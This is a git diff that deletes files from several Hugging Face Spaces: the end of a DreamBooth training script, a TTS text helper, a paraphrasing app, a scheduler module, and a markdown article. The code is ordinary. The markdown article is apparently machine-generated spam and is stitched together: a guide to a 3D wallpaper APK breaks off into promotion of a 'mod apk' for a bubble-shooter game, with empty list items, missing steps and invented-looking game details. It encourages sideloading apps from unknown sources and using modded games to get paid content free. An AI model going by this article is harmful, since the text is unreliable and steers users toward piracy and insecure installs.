if args.with_prior_preservation: - input_ids += [example["class_prompt_ids"] for example in examples] - pixel_values += [example["class_images"] for example in examples] - - pixel_values = torch.stack(pixel_values) - pixel_values = pixel_values.to(memory_format=torch.contiguous_format).float() - - input_ids = tokenizer.pad({"input_ids": input_ids}, padding=True, return_tensors="pt").input_ids - - batch = { - "input_ids": input_ids, - "pixel_values": pixel_values, - } - return batch - - train_dataloader = torch.utils.data.DataLoader( - train_dataset, batch_size=args.train_batch_size, shuffle=True, collate_fn=collate_fn - ) - - # Scheduler and math around the number of training steps. - overrode_max_train_steps = False - num_update_steps_per_epoch = math.ceil(len(train_dataloader) / args.gradient_accumulation_steps) - if args.max_train_steps is None: - args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch - overrode_max_train_steps = True - - lr_scheduler = get_scheduler( - args.lr_scheduler, - optimizer=optimizer, - num_warmup_steps=args.lr_warmup_steps * args.gradient_accumulation_steps, - num_training_steps=args.max_train_steps * args.gradient_accumulation_steps, - ) - - if args.train_text_encoder: - unet, text_encoder, optimizer, train_dataloader, lr_scheduler = accelerator.prepare( - unet, text_encoder, optimizer, train_dataloader, lr_scheduler - ) - else: - unet, optimizer, train_dataloader, lr_scheduler = accelerator.prepare( - unet, optimizer, train_dataloader, lr_scheduler - ) - - weight_dtype = torch.float32 - if args.mixed_precision == "fp16": - weight_dtype = torch.float16 - elif args.mixed_precision == "bf16": - weight_dtype = torch.bfloat16 - - # Move text_encode and vae to gpu. - # For mixed precision training we cast the text_encoder and vae weights to half-precision - # as these models are only used for inference, keeping weights in full precision is not required. - vae.to(accelerator.device, dtype=weight_dtype) - if not args.train_text_encoder: - text_encoder.to(accelerator.device, dtype=weight_dtype) - - - if args.cache_latents: - latents_cache = [] - text_encoder_cache = [] - for batch in tqdm(train_dataloader, desc="Caching latents"): - with torch.no_grad(): - batch["pixel_values"] = batch["pixel_values"].to(accelerator.device, non_blocking=True, dtype=weight_dtype) - batch["input_ids"] = batch["input_ids"].to(accelerator.device, non_blocking=True) - latents_cache.append(vae.encode(batch["pixel_values"]).latent_dist) - if args.train_text_encoder: - text_encoder_cache.append(batch["input_ids"]) - else: - text_encoder_cache.append(text_encoder(batch["input_ids"])[0]) - train_dataset = LatentsDataset(latents_cache, text_encoder_cache) - train_dataloader = torch.utils.data.DataLoader(train_dataset, batch_size=1, collate_fn=lambda x: x, shuffle=True) - - del vae - #if not args.train_text_encoder: - # del text_encoder - if torch.cuda.is_available(): - torch.cuda.empty_cache() - - # We need to recalculate our total training steps as the size of the training dataloader may have changed. - num_update_steps_per_epoch = math.ceil(len(train_dataloader) / args.gradient_accumulation_steps) - if overrode_max_train_steps: - args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch - # Afterwards we recalculate our number of training epochs - args.num_train_epochs = math.ceil(args.max_train_steps / num_update_steps_per_epoch) - - # We need to initialize the trackers we use, and also store our configuration. - # The trackers initializes automatically on the main process. - if accelerator.is_main_process: - accelerator.init_trackers("dreambooth", config=vars(args)) - - def bar(prg): - br='|'+'█' * prg + ' ' * (25-prg)+'|' - return br - - # Train! - total_batch_size = args.train_batch_size * accelerator.num_processes * args.gradient_accumulation_steps - - logger.info("***** Running training *****") - logger.info(f" Num examples = {len(train_dataset)}") - logger.info(f" Num batches each epoch = {len(train_dataloader)}") - logger.info(f" Num Epochs = {args.num_train_epochs}") - logger.info(f" Instantaneous batch size per device = {args.train_batch_size}") - logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_batch_size}") - logger.info(f" Gradient Accumulation steps = {args.gradient_accumulation_steps}") - logger.info(f" Total optimization steps = {args.max_train_steps}") - # Only show the progress bar once on each machine. - progress_bar = tqdm(range(args.max_train_steps), disable=not accelerator.is_local_main_process) - global_step = 0 - - for epoch in range(args.num_train_epochs): - unet.train() - if args.train_text_encoder: - text_encoder.train() - for step, batch in enumerate(train_dataloader): - with accelerator.accumulate(unet): - # Convert images to latent space - with torch.no_grad(): - if args.cache_latents: - latents_dist = batch[0][0] - else: - latents_dist = vae.encode(batch["pixel_values"].to(dtype=weight_dtype)).latent_dist - latents = latents_dist.sample() * 0.18215 - - # Sample noise that we'll add to the latents - noise = torch.randn_like(latents) - bsz = latents.shape[0] - # Sample a random timestep for each image - timesteps = torch.randint(0, noise_scheduler.config.num_train_timesteps, (bsz,), device=latents.device) - timesteps = timesteps.long() - - # Add noise to the latents according to the noise magnitude at each timestep - # (this is the forward diffusion process) - noisy_latents = noise_scheduler.add_noise(latents, noise, timesteps) - - # Get the text embedding for conditioning - if(args.cache_latents): - if args.train_text_encoder: - encoder_hidden_states = text_encoder(batch[0][1])[0] - else: - encoder_hidden_states = batch[0][1] - else: - encoder_hidden_states = text_encoder(batch["input_ids"])[0] - - # Predict the noise residual - model_pred = unet(noisy_latents, timesteps, encoder_hidden_states).sample - - # Get the target for loss depending on the prediction type - if noise_scheduler.config.prediction_type == "epsilon": - target = noise - elif noise_scheduler.config.prediction_type == "v_prediction": - target = noise_scheduler.get_velocity(latents, noise, timesteps) - else: - raise ValueError(f"Unknown prediction type {noise_scheduler.config.prediction_type}") - - if args.with_prior_preservation: - # Chunk the noise and model_pred into two parts and compute the loss on each part separately. - model_pred, model_pred_prior = torch.chunk(model_pred, 2, dim=0) - target, target_prior = torch.chunk(target, 2, dim=0) - - # Compute instance loss - loss = F.mse_loss(model_pred.float(), target.float(), reduction="none").mean([1, 2, 3]).mean() - - # Compute prior loss - prior_loss = F.mse_loss(model_pred_prior.float(), target_prior.float(), reduction="mean") - - # Add the prior loss to the instance loss. - loss = loss + args.prior_loss_weight * prior_loss - else: - loss = F.mse_loss(model_pred.float(), target.float(), reduction="mean") - - accelerator.backward(loss) - if accelerator.sync_gradients: - params_to_clip = ( - itertools.chain(unet.parameters(), text_encoder.parameters()) - if args.train_text_encoder - else unet.parameters() - ) - accelerator.clip_grad_norm_(params_to_clip, args.max_grad_norm) - optimizer.step() - lr_scheduler.step() - optimizer.zero_grad() - - # Checks if the accelerator has performed an optimization step behind the scenes - if accelerator.sync_gradients: - progress_bar.update(1) - global_step += 1 - - fll=round((global_step*100)/args.max_train_steps) - fll=round(fll/4) - pr=bar(fll) - - logs = {"loss": loss.detach().item(), "lr": lr_scheduler.get_last_lr()[0]} - progress_bar.set_postfix(**logs) - progress_bar.set_description_str("Progress:"+pr) - accelerator.log(logs, step=global_step) - - if global_step >= args.max_train_steps: - break - - if args.train_text_encoder and global_step == args.stop_text_encoder_training and global_step >= 30: - if accelerator.is_main_process: - print(" " +" Freezing the text_encoder ..."+" ") - frz_dir=args.output_dir + "/text_encoder_frozen" - if os.path.exists(frz_dir): - subprocess.call('rm -r '+ frz_dir, shell=True) - os.mkdir(frz_dir) - pipeline = StableDiffusionPipeline.from_pretrained( - args.pretrained_model_name_or_path, - unet=accelerator.unwrap_model(unet), - text_encoder=accelerator.unwrap_model(text_encoder), - ) - pipeline.text_encoder.save_pretrained(frz_dir) - - if args.save_n_steps >= 200: - if global_step < args.max_train_steps and global_step+1==i: - ckpt_name = "_step_" + str(global_step+1) - save_dir = Path(args.output_dir+ckpt_name) - save_dir=str(save_dir) - save_dir=save_dir.replace(" ", "_") - if not os.path.exists(save_dir): - os.mkdir(save_dir) - inst=save_dir[16:] - inst=inst.replace(" ", "_") - print(" SAVING CHECKPOINT: "+args.Session_dir+"/"+inst+".ckpt") - # Create the pipeline using the trained modules and save it. - if accelerator.is_main_process: - pipeline = StableDiffusionPipeline.from_pretrained( - args.pretrained_model_name_or_path, - unet=accelerator.unwrap_model(unet), - text_encoder=accelerator.unwrap_model(text_encoder), - ) - pipeline.save_pretrained(save_dir) - frz_dir=args.output_dir + "/text_encoder_frozen" - if args.train_text_encoder and os.path.exists(frz_dir): - subprocess.call('rm -r '+save_dir+'/text_encoder/*.*', shell=True) - subprocess.call('cp -f '+frz_dir +'/*.* '+ save_dir+'/text_encoder', shell=True) - chkpth=args.Session_dir+"/"+inst+".ckpt" - subprocess.call('python /content/diffusers/scripts/convert_diffusers_to_original_stable_diffusion.py --model_path ' + save_dir + ' --checkpoint_path ' + chkpth + ' --half', shell=True) - subprocess.call('rm -r '+ save_dir, shell=True) - i=i+args.save_n_steps - - accelerator.wait_for_everyone() - - # Create the pipeline using using the trained modules and save it. - if accelerator.is_main_process: - if args.dump_only_text_encoder: - txt_dir=args.output_dir + "/text_encoder_trained" - if not os.path.exists(txt_dir): - os.mkdir(txt_dir) - pipeline = StableDiffusionPipeline.from_pretrained( - args.pretrained_model_name_or_path, - unet=accelerator.unwrap_model(unet), - text_encoder=accelerator.unwrap_model(text_encoder), - ) - pipeline.text_encoder.save_pretrained(txt_dir) - - elif args.train_only_unet: - pipeline = StableDiffusionPipeline.from_pretrained( - args.pretrained_model_name_or_path, - unet=accelerator.unwrap_model(unet), - text_encoder=accelerator.unwrap_model(text_encoder), - ) - pipeline.save_pretrained(args.output_dir) - txt_dir=args.output_dir + "/text_encoder_trained" - subprocess.call('rm -r '+txt_dir, shell=True) - - else: - pipeline = StableDiffusionPipeline.from_pretrained( - args.pretrained_model_name_or_path, - unet=accelerator.unwrap_model(unet), - text_encoder=accelerator.unwrap_model(text_encoder), - ) - frz_dir=args.output_dir + "/text_encoder_frozen" - pipeline.save_pretrained(args.output_dir) - if args.train_text_encoder and os.path.exists(frz_dir): - subprocess.call('mv -f '+frz_dir +'/*.* '+ args.output_dir+'/text_encoder', shell=True) - subprocess.call('rm -r '+ frz_dir, shell=True) - - if args.push_to_hub: - repo.push_to_hub(commit_message="End of training", blocking=False, auto_lfs_prune=True) - - accelerator.end_training() - del pipeline - torch.cuda.empty_cache() - gc.collect() -if __name__ == "__main__": - pass - #main() - diff --git a/spaces/shabnam91/Sanskrit-TTS/text/__init__.py b/spaces/shabnam91/Sanskrit-TTS/text/__init__.py deleted file mode 100644 index 4e69c354dd24e3243980236eca962cd5945a92fc..0000000000000000000000000000000000000000 --- a/spaces/shabnam91/Sanskrit-TTS/text/__init__.py +++ /dev/null @@ -1,32 +0,0 @@ -""" from https://github.com/keithito/tacotron """ -from text import cleaners - - -def text_to_sequence(text, symbols, cleaner_names): - '''Converts a string of text to a sequence of IDs corresponding to the symbols in the text. - Args: - text: string to convert to a sequence - cleaner_names: names of the cleaner functions to run the text through - Returns: - List of integers corresponding to the symbols in the text - ''' - _symbol_to_id = {s: i for i, s in enumerate(symbols)} - - sequence = [] - - clean_text = _clean_text(text, cleaner_names) - for symbol in clean_text: - if symbol not in _symbol_to_id.keys(): - continue - symbol_id = _symbol_to_id[symbol] - sequence += [symbol_id] - return sequence - - -def _clean_text(text, cleaner_names): - for name in cleaner_names: - cleaner = getattr(cleaners, name) - if not cleaner: - raise Exception('Unknown cleaner: %s' % name) - text = cleaner(text) - return text diff --git a/spaces/shawon100/text-paraphrasing/app.py b/spaces/shawon100/text-paraphrasing/app.py deleted file mode 100644 index d0990ae4b54343ccf2c9b8cd964af5c62ec61b01..0000000000000000000000000000000000000000 --- a/spaces/shawon100/text-paraphrasing/app.py +++ /dev/null @@ -1,32 +0,0 @@ -import gradio as gr -from transformers import AutoTokenizer, AutoModelForSeq2SeqLM -model = AutoModelForSeq2SeqLM.from_pretrained("ramsrigouthamg/t5-large-paraphraser-diverse-high-quality") -tokenizer = AutoTokenizer.from_pretrained("ramsrigouthamg/t5-large-paraphraser-diverse-high-quality") -import torch -device = torch.device("cuda" if torch.cuda.is_available() else "cpu") -#print ("device ",device) -model = model.to(device)# Diverse Beam search -#print ("\n\n") -#print ("Original: ",context) - -def generate_text(inp): - context = inp - text = "paraphrase: "+context + " " - encoding = tokenizer.encode_plus(text,max_length =128, padding=True, return_tensors="pt") - input_ids,attention_mask = encoding["input_ids"].to(device), encoding["attention_mask"].to(device) - model.eval() - diverse_beam_outputs = model.generate( - input_ids=input_ids,attention_mask=attention_mask, - max_length=128, - early_stopping=True, - num_beams=5, - num_beam_groups = 5, - num_return_sequences=5, - diversity_penalty = 0.70) - - sent = tokenizer.decode(diverse_beam_outputs[0], skip_special_tokens=True,clean_up_tokenization_spaces=True) - return sent - - -output_text = gr.outputs.Textbox() -gr.Interface(generate_text,"textbox", output_text).launch(inline=False) \ No newline at end of file diff --git a/spaces/shi-labs/Versatile-Diffusion/lib/model_zoo/common/get_scheduler.py b/spaces/shi-labs/Versatile-Diffusion/lib/model_zoo/common/get_scheduler.py deleted file mode 100644 index bd7c86e89dd9fcd092836546555b14cb68c7771d..0000000000000000000000000000000000000000 --- a/spaces/shi-labs/Versatile-Diffusion/lib/model_zoo/common/get_scheduler.py +++ /dev/null @@ -1,262 +0,0 @@ -import torch -import torch.optim as optim -import numpy as np -import copy -from ... import sync -from ...cfg_holder import cfg_unique_holder as cfguh - -def singleton(class_): - instances = {} - def getinstance(*args, **kwargs): - if class_ not in instances: - instances[class_] = class_(*args, **kwargs) - return instances[class_] - return getinstance - -@singleton -class get_scheduler(object): - def __init__(self): - self.lr_scheduler = {} - - def register(self, lrsf, name): - self.lr_scheduler[name] = lrsf - - def __call__(self, cfg): - if cfg is None: - return None - if isinstance(cfg, list): - schedulers = [] - for ci in cfg: - t = ci.type - schedulers.append( - self.lr_scheduler[t](**ci.args)) - if len(schedulers) == 0: - raise ValueError - else: - return compose_scheduler(schedulers) - t = cfg.type - return self.lr_scheduler[t](**cfg.args) - - -def register(name): - def wrapper(class_): - get_scheduler().register(class_, name) - return class_ - return wrapper - -class template_scheduler(object): - def __init__(self, step): - self.step = step - - def __getitem__(self, idx): - raise ValueError - - def set_lr(self, optim, new_lr, pg_lrscale=None): - """ - Set Each parameter_groups in optim with new_lr - New_lr can be find according to the idx. - pg_lrscale tells how to scale each pg. - """ - # new_lr = self.__getitem__(idx) - pg_lrscale = copy.deepcopy(pg_lrscale) - for pg in optim.param_groups: - if pg_lrscale is None: - pg['lr'] = new_lr - else: - pg['lr'] = new_lr * pg_lrscale.pop(pg['name']) - assert (pg_lrscale is None) or (len(pg_lrscale)==0), \ - "pg_lrscale doesn't match pg" - -@register('constant') -class constant_scheduler(template_scheduler): - def __init__(self, lr, step): - super().__init__(step) - self.lr = lr - - def __getitem__(self, idx): - if idx >= self.step: - raise ValueError - return self.lr - -@register('poly') -class poly_scheduler(template_scheduler): - def __init__(self, start_lr, end_lr, power, step): - super().__init__(step) - self.start_lr = start_lr - self.end_lr = end_lr - self.power = power - - def __getitem__(self, idx): - if idx >= self.step: - raise ValueError - a, b = self.start_lr, self.end_lr - p, n = self.power, self.step - return b + (a-b)*((1-idx/n)**p) - -@register('linear') -class linear_scheduler(template_scheduler): - def __init__(self, start_lr, end_lr, step): - super().__init__(step) - self.start_lr = start_lr - self.end_lr = end_lr - - def __getitem__(self, idx): - if idx >= self.step: - raise ValueError - a, b, n = self.start_lr, self.end_lr, self.step - return b + (a-b)*(1-idx/n) - -@register('multistage') -class constant_scheduler(template_scheduler): - def __init__(self, start_lr, milestones, gamma, step): - super().__init__(step) - self.start_lr = start_lr - m = [0] + milestones + [step] - lr_iter = start_lr - self.lr = [] - for ms, me in zip(m[0:-1], m[1:]): - for _ in range(ms, me): - self.lr.append(lr_iter) - lr_iter *= gamma - - def __getitem__(self, idx): - if idx >= self.step: - raise ValueError - return self.lr[idx] - -class compose_scheduler(template_scheduler): - def __init__(self, schedulers): - self.schedulers = schedulers - self.step = [si.step for si in schedulers] - self.step_milestone = [] - acc = 0 - for i in self.step: - acc += i - self.step_milestone.append(acc) - self.step = sum(self.step) - - def __getitem__(self, idx): - if idx >= self.step: - raise ValueError - ms = self.step_milestone - for idx, (mi, mj) in enumerate(zip(ms[:-1], ms[1:])): - if mi <= idx < mj: - return self.schedulers[idx-mi] - raise ValueError - -#################### -# lambda schedular # -#################### - -class LambdaWarmUpCosineScheduler(template_scheduler): - """ - note: use with a base_lr of 1.0 - """ - def __init__(self, - base_lr, - warm_up_steps, - lr_min, lr_max, lr_start, max_decay_steps, verbosity_interval=0): - cfgt = cfguh().cfg.train - bs = cfgt.batch_size - if 'gradacc_every' not in cfgt: - print('Warning, gradacc_every is not found in xml, use 1 as default.') - acc = cfgt.get('gradacc_every', 1) - self.lr_multi = base_lr * bs * acc - self.lr_warm_up_steps = warm_up_steps - self.lr_start = lr_start - self.lr_min = lr_min - self.lr_max = lr_max - self.lr_max_decay_steps = max_decay_steps - self.last_lr = 0. - self.verbosity_interval = verbosity_interval - - def schedule(self, n): - if self.verbosity_interval > 0: - if n % self.verbosity_interval == 0: - print(f"current step: {n}, recent lr-multiplier: {self.last_lr}") - if n < self.lr_warm_up_steps: - lr = (self.lr_max - self.lr_start) / self.lr_warm_up_steps * n + self.lr_start - self.last_lr = lr - return lr - else: - t = (n - self.lr_warm_up_steps) / (self.lr_max_decay_steps - self.lr_warm_up_steps) - t = min(t, 1.0) - lr = self.lr_min + 0.5 * (self.lr_max - self.lr_min) * ( - 1 + np.cos(t * np.pi)) - self.last_lr = lr - return lr - - def __getitem__(self, idx): - return self.schedule(idx) * self.lr_multi - -class LambdaWarmUpCosineScheduler2(template_scheduler): - """ - supports repeated iterations, configurable via lists - note: use with a base_lr of 1.0. - """ - def __init__(self, - base_lr, - warm_up_steps, - f_min, f_max, f_start, cycle_lengths, verbosity_interval=0): - cfgt = cfguh().cfg.train - # bs = cfgt.batch_size - # if 'gradacc_every' not in cfgt: - # print('Warning, gradacc_every is not found in xml, use 1 as default.') - # acc = cfgt.get('gradacc_every', 1) - # self.lr_multi = base_lr * bs * acc - self.lr_multi = base_lr - assert len(warm_up_steps) == len(f_min) == len(f_max) == len(f_start) == len(cycle_lengths) - self.lr_warm_up_steps = warm_up_steps - self.f_start = f_start - self.f_min = f_min - self.f_max = f_max - self.cycle_lengths = cycle_lengths - self.cum_cycles = np.cumsum([0] + list(self.cycle_lengths)) - self.last_f = 0. - self.verbosity_interval = verbosity_interval - - def find_in_interval(self, n): - interval = 0 - for cl in self.cum_cycles[1:]: - if n <= cl: - return interval - interval += 1 - - def schedule(self, n): - cycle = self.find_in_interval(n) - n = n - self.cum_cycles[cycle] - if self.verbosity_interval > 0: - if n % self.verbosity_interval == 0: print(f"current step: {n}, recent lr-multiplier: {self.last_f}, " - f"current cycle {cycle}") - if n < self.lr_warm_up_steps[cycle]: - f = (self.f_max[cycle] - self.f_start[cycle]) / self.lr_warm_up_steps[cycle] * n + self.f_start[cycle] - self.last_f = f - return f - else: - t = (n - self.lr_warm_up_steps[cycle]) / (self.cycle_lengths[cycle] - self.lr_warm_up_steps[cycle]) - t = min(t, 1.0) - f = self.f_min[cycle] + 0.5 * (self.f_max[cycle] - self.f_min[cycle]) * ( - 1 + np.cos(t * np.pi)) - self.last_f = f - return f - - def __getitem__(self, idx): - return self.schedule(idx) * self.lr_multi - -@register('stable_diffusion_linear') -class LambdaLinearScheduler(LambdaWarmUpCosineScheduler2): - def schedule(self, n): - cycle = self.find_in_interval(n) - n = n - self.cum_cycles[cycle] - if self.verbosity_interval > 0: - if n % self.verbosity_interval == 0: - print(f"current step: {n}, recent lr-multiplier: {self.last_f}, " - f"current cycle {cycle}") - if n < self.lr_warm_up_steps[cycle]: - f = (self.f_max[cycle] - self.f_start[cycle]) / self.lr_warm_up_steps[cycle] * n + self.f_start[cycle] - self.last_f = f - return f - else: - f = self.f_min[cycle] + (self.f_max[cycle] - self.f_min[cycle]) * (self.cycle_lengths[cycle] - n) / (self.cycle_lengths[cycle]) - self.last_f = f - return f \ No newline at end of file diff --git a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/3D Wallpapers 4K - Download APK and Enjoy the Best 3D Backgrounds for Android.md b/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/3D Wallpapers 4K - Download APK and Enjoy the Best 3D Backgrounds for Android.md deleted file mode 100644 index d4bfd7a5db53c52bbe32080dccf1607ca99614d1..0000000000000000000000000000000000000000 --- a/spaces/simple0urra/skops-model-card-creator-2a23515a-d54e-4804-b365-27ed6e938735/example/3D Wallpapers 4K - Download APK and Enjoy the Best 3D Backgrounds for Android.md +++ /dev/null @@ -1,118 +0,0 @@ -
            -

            3D Wallpaper (4k) APK Download: How to Get Stunning Wallpapers for Your Android Device

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            Do you want to make your Android device look more amazing and realistic? Do you want to enjoy the beauty of 3D graphics and animations on your home screen or lock screen? If yes, then you should try 3D Wallpaper (4k) APK, a free app that offers you hundreds of high-quality 3D wallpapers in various categories and styles. In this article, we will tell you everything you need to know about this app, including its features, how to download and install it, why you should use it, how to customize it, and what are some alternatives to it. Let's get started!

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            What is 3D Wallpaper (4k) APK?

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            3D Wallpaper (4k) APK is a free app for Android devices that provides you with a collection of stunning 3D wallpapers in 4K resolution. The app has a simple and user-friendly interface that allows you to browse, preview, and apply wallpapers easily. You can choose from various categories such as abstract, animals, nature, space, cars, games, movies, and more. You can also search for your favorite wallpapers by keywords or colors. The app updates its wallpaper database regularly, so you can always find new and fresh wallpapers to suit your mood and taste.

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            Features of 3D Wallpaper (4k) APK

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            Some of the main features of 3D Wallpaper (4k) APK are:

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            • It offers hundreds of high-quality 3D wallpapers in 4K resolution.
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            • It does not require any root access or permissions.
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            How to Download and Install 3D Wallpaper (4k) APK

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            To download and install 3D Wallpaper (4k) APK on your Android device, follow these steps:

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            1. Go to [this link](^1^) and download the APK file of the app.
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            2. Once the download is complete, open the file manager on your device and locate the downloaded file.
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            3. Tap on the file and allow the installation from unknown sources if prompted.
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            4. Wait for the installation process to finish.
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            5. Launch the app and enjoy your new wallpapers!
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            Why You Should Use 3D Wallpaper (4k) APK

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            If you are wondering why you should use 3D Wallpaper (4k) APK instead of other wallpaper apps or sources, here are some reasons:

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            Benefits of 3D Wallpaper (4k) APK

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            • It gives you access to hundreds of high-quality 3D wallpapers in 4K resolution, which can make your device look more amazing and realistic.
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            • It is compatible with most Android devices and versions, which means it is likely to work on your device without any issues.
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            Drawbacks of 3D Wallpaper (4k) APK

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            Of course, no app is perfect, and 3D Wallpaper (4k) APK also has some drawbacks that you should be aware of:

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            • It may consume more battery and memory than other wallpaper apps, as 3D wallpapers are more complex and detailed than 2D wallpapers.
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            • It may not have all the wallpapers that you want, as 3D wallpapers are more difficult and time-consuming to create than 2D wallpapers.
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            How to Customize Your 3D Wallpaper (4k) APK

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            If you want to customize your 3D Wallpaper (4k) APK to make it more suitable for your device and preferences, here are some tips:

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            How to Choose a Wallpaper Category

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            To choose a wallpaper category, follow these steps:

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              -
            1. Launch the app and tap on the menu icon on the top left corner of the screen.
              2. -
            2. Select the category that you want from the list. You can also tap on the "All" option to see all the available wallpapers.
              3. -
            3. Browse through the wallpapers in the selected category and tap on the one that you like.
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            4. You can also swipe left or right on the screen to see more wallpapers in the same category.
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            How to Adjust the Wallpaper Settings

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            To adjust the wallpaper settings, follow these steps:

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            1. After selecting a wallpaper that you like, tap on the "Settings" icon on the bottom right corner of the screen.
              2. -
            2. You can adjust the brightness, contrast, saturation, and blur of the wallpaper by moving the sliders accordingly.
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            3. You can also crop or rotate the wallpaper by tapping on the "Crop" or "Rotate" icons respectively.
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            5. When you are satisfied with the settings, tap on the "Apply" button to save them.
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            How to Apply the Wallpaper to Your Home Screen or Lock Screen

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            To apply the wallpaper to your home screen or lock screen, follow these steps:

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            1. After adjusting the wallpaper settings, tap on the "Set" button on the bottom right corner of the screen.
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            2. You can choose to set the wallpaper as your home screen, lock screen, or both by tapping on the corresponding options.
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            3. You can also choose to set the wallpaper as a live wallpaper by tapping on the "Live" option. This will make the wallpaper animate and move according to your device's motion sensor.
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            4. Wait for a few seconds until the wallpaper is applied successfully. You can then exit the app and enjoy your new wallpaper!
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            Alternatives to 3D Wallpaper (4k) APK

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            If you are looking for some alternatives to 3D Wallpaper (4k) APK, here are some suggestions:

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            Other Apps for 3D Wallpapers

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            Some other apps that offer 3D wallpapers for Android devices are:

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            • [3D Parallax Background]: This app offers realistic 3D parallax wallpapers that create an illusion of depth and movement when you tilt your device. You can choose from over 350 wallpapers or create your own using your photos or videos.
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              If you are looking for a fun and addictive puzzle game that will keep you entertained for hours, you might want to try Bubble Shooter Witch Saga 3. This game is a popular bubble shooter game that has a magical twist. You will join Stella the witch and her cat Nero on their adventure to save the fairy world from the evil Wilbur. You will also enjoy the colorful graphics, the cute characters, and the exciting levels that will challenge your skills and strategy.

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              But what if you want to enjoy more features and benefits from this game? What if you want to unlock all the levels, get unlimited lives, coins, and boosters, and remove all the ads? Well, there is a way to do that. You can download and install Bubble Shooter Witch Saga 3 Mod Apk, which is a modified version of the original game that gives you access to all these perks for free.

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              In this article, we will explain what Bubble Shooter Witch Saga 3 is, what a mod apk is, and how you can download and install Bubble Shooter Witch Saga 3 Mod Apk on your Android device. We will also discuss the advantages and disadvantages of using a mod apk, and give you some tips on how to use it safely. So, let's get started!

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              What is Bubble Shooter Witch Saga 3?

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              Bubble Shooter Witch Saga 3 is a puzzle game developed by King, the same company behind other popular games like Candy Crush Saga and Farm Heroes Saga. It is the third installment in the Bubble Witch series, which has over 100 million downloads on Google Play Store. It is also available on iOS, Windows, Facebook, and Amazon devices.

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              The gameplay and features of Bubble Shooter Witch Saga 3

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              The gameplay of Bubble Shooter Witch Saga 3 is similar to other bubble shooter games. You have to aim and shoot bubbles from a cannon at the bottom of the screen to match three or more bubbles of the same color at the top of the screen. When you match bubbles, they will pop and disappear, clearing space for more bubbles. You have to clear all the bubbles in each level to complete it and move on to the next one.

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              • You can use special boosters like fireballs, bombs, color changers, etc. to help you clear difficult levels.
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              • You can play with your friends online and compete for the highest score on the leaderboards.
                • -
              • You can explore different worlds with different themes and backgrounds, such as Fairy Forest, Ghost Village, Wilbur's Den, etc.
                • -
              • You can encounter different enemies like spiders, owls, ghosts, etc. that will try to stop you from clearing bubbles.
                • -
              • You can unlock different outfits for Stella and Nero by completing quests and achievements.
                • -
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              The storyline and characters of Bubble Shooter Witch Saga 3

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              Bubble Shooter Witch Saga 3 has a captivating storyline that will keep you engaged throughout the game. The story revolves around Stella, a young witch who lives in a fairy world with her cat Nero. She is on a mission to stop Wilbur, an evil cat wizard who wants to take over the fairy world by capturing all the fairies in bubbles. Along the way, she will meet new friends and allies, such as Luna the fairy, Nero's brother Boris, and other witches and wizards. She will also face many challenges and dangers, such as traps, puzzles, bosses, and Wilbur's minions. The game has over 3000 levels to play, each with a different objective and difficulty. The game also has a rich and colorful animation style, a catchy soundtrack, and a humorous dialogue that will make you laugh and smile.

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              What is a mod apk and why do people use it?

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              A mod apk is a modified version of an original application that has been altered by someone to add or remove some features. A mod apk can be created by anyone who has the skills and tools to do so, such as hackers, developers, or fans. A mod apk can have different purposes, such as:

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              • Enhancing the performance or functionality of an application.
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                • -
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              People use mod apk for various reasons, depending on their preferences and needs. Some of the common reasons are:

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              • To enjoy more fun and excitement from an application.
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              • To explore or experiment with new features or content that are not available in the original application.
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              • To challenge themselves or others by playing with different settings or modes.
                • -
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              The definition and types of mod apk

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              A mod apk is a file that has the extension .apk, which stands for Android Package Kit. It is the format used by Android devices to install and run applications. A mod apk is different from an original apk in that it has been modified by someone to change some aspects of the application. There are different types of mod apk, depending on the degree and nature of modification. Some of the common types are:

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              • Unlocked mod apk: This type of mod apk unlocks all the features or content that are normally locked or restricted in the original application. For example, it can unlock all the levels, characters, items, etc. in a game.
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              • Unlimited mod apk: This type of mod apk gives unlimited resources or currency that are normally limited or scarce in the original application. For example, it can give unlimited lives, coins, gems, etc. in a game.
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              • Ad-free mod apk: This type of mod apk removes all the ads that are normally displayed in the original application. For example, it can remove banner ads, pop-up ads, video ads, etc. in a game.
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              • Hacked mod apk: This type of mod apk alters the code or data of the original application to change its behavior or outcome. For example, it can change the speed, difficulty, graphics, sound, etc. in a game.
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              The benefits and risks of using mod apk

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              Using a mod apk can have both benefits and risks for the user. Some of the benefits are:

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              • You can enjoy more features and benefits from an application without paying anything.
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              Some of the risks are:

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              How to download and install Bubble Shooter Witch Saga 3 Mod Apk?

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              The steps to download and install Bubble Shooter Witch Saga 3 Mod Apk

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              Conclusion

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              Bubble Shooter Witch Saga 3 is a fun and magical puzzle game that will keep you entertained for hours. You can join Stella the witch and her cat Nero on their adventure to save the fairy world from the evil Wilbur. You can also enjoy the colorful graphics, the cute characters, and the exciting levels that will challenge your skills and strategy.

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              If you want to enjoy more features and benefits from this game, you can download and install Bubble Shooter Witch Saga 3 Mod Apk, which is a modified version of the original game that gives you access to all these perks for free. However, you should also be aware of the risks and precautions of using a mod apk, as it can harm your device or application if not used properly.

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              We hope that this article has helped you understand what Bubble Shooter Witch Saga 3 is, what a mod apk is, and how you can download and install Bubble Shooter Witch Saga 3 Mod Apk on your Android device. We also hope that you have enjoyed reading this article as much as we have enjoyed writing it for you. If you have any questions or feedback, please feel free to leave them in the comments section below. Thank you for reading!

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              • A: It depends on the source and quality of the mod apk. Some mod apk are safe and reliable, while others are not. You should always check the reputation and reviews of the website or developer that offers the mod apk before downloading and installing it. You should also scan the file with an antivirus or anti-malware app before installing it.
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              • Q: What are the differences between Bubble Shooter Witch Saga 3 and Bubble Shooter Witch Saga 3 Mod Apk?
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              • A: The main difference is that Bubble Shooter Witch Saga 3 Mod Apk has some extra features and benefits that are not available in the original game. For example, it can unlock all the levels, give unlimited lives, coins, and boosters, and remove all the ads. However, it also has some risks and drawbacks that are not present in the original game. For example, it can damage or corrupt your device or application, violate the terms and conditions of the game or its developer, lose your progress or data, or expose your device or personal information to hackers or viruses.
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              • Q: How can I update Bubble Shooter Witch Saga 3 Mod Apk?
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              • A: You can update Bubble Shooter Witch Saga 3 Mod Apk by downloading and installing the latest version of the mod apk from the same website or developer that you got it from. However, you should be aware that updating the mod apk may cause some issues or errors with your game or device. You should also backup your device and data before updating the mod apk.
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              Cute Game Download: How to Find and Play Adorable Games Online

